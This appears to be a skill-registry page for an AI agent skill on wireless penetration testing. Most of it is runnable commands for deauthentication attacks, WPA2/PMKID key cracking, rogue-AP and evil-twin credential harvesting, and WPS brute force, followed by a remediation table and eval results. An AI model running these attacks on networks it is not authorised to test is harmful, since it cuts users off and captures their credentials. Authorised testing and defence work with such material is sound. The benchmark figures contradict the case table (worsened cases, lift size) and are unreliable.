Loading skill
Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Execute a wireless network penetration test to assess WiFi security by capturing handshakes, cracking WPA2/WPA3 keys, detecting rogue access points, and testing wireless segmentation using Aircrack-ng and related tools.
.claude/skills/performing-wireless-network-penetration-test/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-23 | ✗→✓ | ▲ Improved | — | — |
| case-18 | ✗→✓ | ▲ Improved | — | — |
| case-14 | ✗→✓ | ▲ Improved | — | — |
| case-12 | ✗→✓ | ▲ Improved | — | — |
| case-01 | ✗→✓ | ▲ Improved | — | — |
Wireless penetration testing evaluates the security of an organization's WiFi infrastructure including encryption strength, authentication mechanisms, rogue access point detection, client isolation, and network segmentation. Testing covers 802.11a/b/g/n/ac/ax protocols, WPA2-PSK, WPA2-Enterprise, WPA3-SAE, captive portals, and Bluetooth/BLE where in scope.
bash# Check wireless interfaces iwconfig airmon-ng # Kill interfering processes airmon-ng check kill # Enable monitor mode airmon-ng start wlan0 # Interface becomes wlan0mon # Verify monitor mode iwconfig wlan0mon
bash# Discover all networks in range airodump-ng wlan0mon -w wireless_scan --output-format csv,pcap # Filter by specific channel airodump-ng wlan0mon -c 6 -w channel6_scan # Scan 5GHz band airodump-ng wlan0mon --band a -w 5ghz_scan # Scan all bands airodump-ng wlan0mon --band abg -w full_scan # Kismet passive scanning (advanced) kismet -c wlan0mon # Access web UI at http://localhost:2501
| SSID | BSSID | Channel | Encryption | Clients | Signal | |------|-------|---------|-----------|---------|--------| | CorpWiFi | AA:BB:CC:DD:EE:01 | 6 | WPA2-Enterprise | 45 | -55dBm | | CorpGuest | AA:BB:CC:DD:EE:02 | 11 | WPA2-PSK | 12 | -60dBm | | PrinterNet | AA:BB:CC:DD:EE:03 | 1 | WEP | 3 | -70dBm | | HiddenSSID | AA:BB:CC:DD:EE:04 | 36 | WPA2-PSK | 8 | -65dBm |
bash# Target specific network airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:02 -w corpguest wlan0mon # Deauthenticate a client to force reconnection (handshake capture) aireplay-ng -0 5 -a AA:BB:CC:DD:EE:02 -c FF:FF:FF:FF:FF:FF wlan0mon # Verify handshake captured aircrack-ng corpguest-01.cap # Look for "1 handshake" in output
bash# Dictionary attack with Aircrack-ng aircrack-ng -w /usr/share/wordlists/rockyou.txt corpguest-01.cap # GPU-accelerated cracking with Hashcat # Convert cap to hccapx format hcxpcapngtool -o hash.hc22000 corpguest-01.cap # Hashcat mode 22000 (WPA-PBKDF2-PMKID+EAPOL) hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule # PMKID attack (no client needed) hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_dump.pcapng \ --filterlist_ap=AA:BB:CC:DD:EE:02 --filtermode=2 hcxpcapngtool -o pmkid_hash.hc22000 pmkid_dump.pcapng hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt
bash# Set up rogue AP with EAP credential harvesting # Using hostapd-mana cat > hostapd-mana.conf << 'EOF' interface=wlan0mon ssid=CorpWiFi hw_mode=g channel=6 auth_algs=3 wpa=2 wpa_key_mgmt=WPA-EAP wpa_pairwise=CCMP TKIP rsn_pairwise=CCMP ieee8021x=1 eap_server=1 eap_user_file=hostapd.eap_user mana_wpe=1 mana_credout=creds.txt EOF # EAP user file cat > hostapd.eap_user << 'EOF' * PEAP,TTLS,TLS,FAST "t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAP "t" [2] EOF hostapd-mana hostapd-mana.conf # Captured MSCHAP challenges can be cracked # Crack NetNTLMv1 from EAP-MSCHAP hashcat -m 5500 creds.txt /usr/share/wordlists/rockyou.txt
bash# Create evil twin with Bettercap sudo bettercap -iface wlan0mon # Within Bettercap: wifi.recon on wifi.ap # Or manual evil twin with hostapd + dnsmasq cat > evil_twin.conf << 'EOF' interface=wlan1 ssid=CorpGuest hw_mode=g channel=6 driver=nl80211 auth_algs=1 wpa=0 EOF # Start captive portal hostapd evil_twin.conf & dnsmasq --no-daemon --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.100,12h \ --address=/#/192.168.1.1 # Deauth clients from real AP to force connection to evil twin aireplay-ng -0 0 -a AA:BB:CC:DD:EE:02 wlan0mon
bash# Compare authorized AP list against discovered APs # Authorized BSSIDs from client documentation # Flag any unknown BSSIDs broadcasting corporate SSIDs # Check for misconfigured APs # Personal hotspots bridging to corporate network # IoT devices with default WiFi settings
bash# After connecting to guest network: # Scan for other clients nmap -sn 192.168.10.0/24 # Attempt to reach corporate resources nmap -sT -p 80,443,445,3389 10.0.0.0/24 # Test VLAN hopping # If guest network is not properly segmented from corporate
bash# Check for WPS-enabled APs wash -i wlan0mon # WPS PIN bruteforce (if WPS enabled and not rate-limited) reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -vv # Pixie-Dust attack (offline WPS PIN recovery) reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -K 1 -vv
| Finding | Severity | CVSS | Remediation | |---------|----------|------|-------------| | WPA2-PSK with weak passphrase | High | 8.1 | Use 20+ char passphrase or migrate to WPA2-Enterprise | | WEP encryption on printer network | Critical | 9.1 | Upgrade to WPA2/WPA3, segment printer VLAN | | WPS enabled on guest AP | Medium | 5.3 | Disable WPS on all access points | | No client isolation on guest | High | 7.5 | Enable AP isolation and VLAN segmentation | | Corporate SSID broadcasts on rogue AP | High | 8.1 | Deploy WIDS/WIPS, implement 802.1X with cert validation | | EAP-MSCHAP without cert pinning | High | 7.5 | Enforce server certificate validation on all clients |
| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-23 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | pass→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 23 cases were attempted. The headline lift of +25 percentage points is the difference between those two pass rates over the 23 comparable cases. 4 cases got worse with the skill loaded, and they are included in that figure.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.